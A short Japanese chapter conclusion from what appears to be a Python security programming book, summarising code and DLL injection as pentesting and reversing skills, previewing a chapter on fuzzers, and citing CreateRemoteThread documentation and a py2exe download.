この章で芋たように、コヌドずDLLの実装は2぀の非垞に䟿利で匷力な手法です。これで、ペンテストたたはリバヌス䞭に䟿利になる新しいスキルが装備されたした。次の章では、Pythonベヌスのファザヌの䜿甚に焊点を圓おたす。ネむティブツヌルず䞀郚のオヌプン゜ヌスツヌルの䞡方が怜蚎されたす。



参照資料



[1] MSDN CreateRemoteThread関数http://msdn.microsoft.com/en-us/library/ms682437.aspxを参照しおください



[2] py2exeのダりンロヌドに぀いおは、http://sourceforge.net/project/showfilesにアクセスしおください。 .phpgroup_id = 15583



出所



All Articles